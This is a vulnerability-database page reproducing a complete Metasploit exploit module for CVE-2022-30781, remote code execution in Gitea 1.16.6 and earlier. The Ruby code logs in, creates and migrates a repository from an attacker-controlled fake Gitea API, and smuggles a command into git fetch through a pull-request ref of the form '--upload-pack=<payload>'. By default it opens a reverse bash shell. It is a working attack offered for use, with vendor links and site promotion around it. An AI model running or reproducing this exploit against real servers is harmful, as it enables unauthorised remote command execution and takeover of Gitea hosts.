Lucene search
K

Gitea 1.16.6 Remote Code Execution

🗓️ 15 Sep 2022 00:00:00Reported by krastanoel, wuhan005, li4n0, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 340 Views

Gitea 1.16.6 Remote Code Execution vulnerability in Git fetch command in Gitea repository migration proces

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Gitea 1.16.6 - Remote Code Execution Exploit
15 Sep 202200:00
zdt
0day.today
Gitea Git Fetch Remote Code Execution Exploit
17 Nov 202200:00
zdt
GithubExploit
Exploit for Improper Encoding or Escaping of Output in Gitea
22 May 202205:15
githubexploit
ATTACKERKB
CVE-2022-30781
16 May 202204:15
attackerkb
AlpineLinux
CVE-2022-30781
16 May 202200:00
alpinelinux
Circl
CVE-2022-30781
15 Sep 202200:00
circl
CNNVD
Gitea 安全漏洞
16 May 202200:00
cnnvd
CVE
CVE-2022-30781
16 May 202200:00
cve
Cvelist
CVE-2022-30781
16 May 202200:00
cvelist
Exploit DB
Gitea 1.16.6 - Remote Code Execution (RCE) (Metasploit)
15 Sep 202200:00
exploitdb
Rows per page
`# Exploit Title: Gitea Git Fetch Remote Code Execution  
# Date: 09/14/2022  
# Exploit Author: samguy  
# Vendor Homepage: https://gitea.io  
# Software Link: https://dl.gitea.io/gitea/1.16.6  
# Version: <= 1.16.6  
# Tested on: Linux - Debian  
# Ref : https://tttang.com/archive/1607/  
# CVE : CVE-2022-30781  
  
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Gitea Git Fetch Remote Code Execution',  
'Description' => %q{  
This module exploits Git fetch command in Gitea repository migration  
process that leads to a remote command execution on the system.  
This vulnerability affect Gitea before 1.16.7 version.  
},  
'Author' => [  
'wuhan005 & li4n0', # Original PoC  
'krastanoel' # MSF Module  
],  
'References' => [  
['CVE', '2022-30781'],  
['URL', 'https://tttang.com/archive/1607/']  
],  
'DisclosureDate' => '2022-05-16',  
'License' => MSF_LICENSE,  
'Platform' => %w[unix win],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
],  
'DefaultOptions' => { 'WfsDelay' => 30 },  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
}  
)  
)  
  
register_options([  
Opt::RPORT(3000),  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with']),  
OptString.new('PASSWORD', [true, 'Password to use']),  
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/user/login'),  
'keep_cookies' => true  
)  
return CheckCode::Unknown('No response from the web service') if res.nil?  
return CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200  
  
# Powered by Gitea Version: 1.16.6  
unless (match = res.body.match(/Gitea Version: (?<version>[\da-zA-Z.]+)/))  
return CheckCode::Unknown('Target does not appear to be running Gitea.')  
end  
  
if match[:version].match(/[a-zA-Z]/)  
return CheckCode::Unknown("Unknown Gitea version #{match[:version]}.")  
end  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/user/login'),  
'vars_post' => {  
'user_name' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'_csrf' => get_csrf(res.get_cookies)  
},  
'keep_cookies' => true  
)  
return CheckCode::Safe('Authentication failed') if res&.code != 302  
  
if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6')  
return CheckCode::Appears("Version detected: #{match[:version]}")  
end  
  
CheckCode::Safe("Version detected: #{match[:version]}")  
rescue ::Rex::ConnectionError  
return CheckCode::Unknown('Could not connect to the web service')  
end  
  
def primer  
['/api/v1/version', '/api/v1/settings/api',  
"/api/v1/repos/#{@migrate_repo_path}",  
"/api/v1/repos/#{@migrate_repo_path}/pulls",  
"/api/v1/repos/#{@migrate_repo_path}/topics"  
].each { |uri| hardcoded_uripath(uri) } # adding resources  
  
vprint_status("Creating repository \"#{@repo_name}\"")  
gitea_create_repo  
vprint_good('Repository created')  
vprint_status("Migrating repository")  
gitea_migrate_repo  
end  
  
def exploit  
@repo_name = rand_text_alphanumeric(6..15)  
@migrate_repo_name = rand_text_alphanumeric(6..15)  
@migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}"  
datastore['URIPATH'] = "/#{@migrate_repo_path}"  
  
Timeout.timeout(datastore['HTTPDELAY']) { super }  
rescue Timeout::Error  
[@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) }  
cleanup # removing all resources  
end  
  
def get_csrf(cookies)  
csrf = cookies&.split("; ")&.grep(/_csrf=/)&.join&.split("=")&.last  
fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf  
csrf  
end  
  
def gitea_remove_repo(name)  
vprint_status("Cleanup: removing repository \"#{name}\"")  
uri = "/#{datastore['username']}/#{name}/settings"  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, uri),  
'keep_cookies' => true  
)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'action' => 'delete',  
'repo_name' => name,  
'_csrf' => get_csrf(res.get_cookies)  
},  
'keep_cookies' => true  
)  
vprint_warning('Unable to remove repository') if res&.code != 302  
end  
  
def gitea_create_repo  
uri = normalize_uri(target_uri.path, '/repo/create')  
res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true)  
@uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text  
fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'uid' => @uid,  
'auto_init' => 'on',  
'readme' => 'Default',  
'repo_name' => @repo_name,  
'trust_model' => 'default',  
'default_branch' => 'master',  
'_csrf' => get_csrf(res.get_cookies)  
},  
'keep_cookies' => true  
)  
fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302  
  
rescue ::Rex::ConnectionError  
return CheckCode::Unknown('Could not connect to the web service')  
end  
  
def gitea_migrate_repo  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/repo/migrate'),  
'keep_cookies' => true  
)  
uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text  
fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri  
  
svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type']  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, uri),  
'keep_cookies' => true  
)  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'uid' => @uid,  
'service' => svc_type,  
'pull_requests' => 'on',  
'repo_name' => @migrate_repo_name,  
'_csrf' => get_csrf(res.get_cookies),  
'auth_token' => rand_text_alphanumeric(6..15),  
'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}",  
},  
'keep_cookies' => true  
)  
if res&.code != 302 # possibly triggered by the [migrations] settings  
err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text  
gitea_remove_repo(@repo_name)  
cleanup  
fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}")  
end  
  
rescue ::Rex::ConnectionError  
return CheckCode::Unknown('Could not connect to the web service')  
end  
  
def on_request_uri(cli, req)  
case req.uri  
when '/api/v1/version'  
send_response(cli, '{"version": "1.16.6"}')  
when '/api/v1/settings/api'  
data = {  
'max_response_items':50,'default_paging_num':30,  
'default_git_trees_per_page':1000,'default_max_blob_size':10485760  
}  
send_response(cli, data.to_json)  
when "/api/v1/repos/#{@migrate_repo_path}"  
data = {  
"clone_url": "#{full_uri}#{datastore['username']}/#{@repo_name}",  
"owner": { "login": datastore['username'] }  
}  
send_response(cli, data.to_json)  
when "/api/v1/repos/#{@migrate_repo_path}/topics?limit=0&page=1"  
send_response(cli, '{"topics":[]}')  
when "/api/v1/repos/#{@migrate_repo_path}/pulls?limit=50&page=1&state=all"  
data = [  
{  
"base": {  
"ref": "master",  
},  
"head": {  
"ref": "--upload-pack=#{payload.encoded}",  
"repo": {  
"clone_url": "./",  
"owner": { "login": "master" },  
}  
},  
"updated_at": "2001-01-01T05:00:00+01:00",  
"user": {}  
}  
]  
send_response(cli, data.to_json)  
end  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation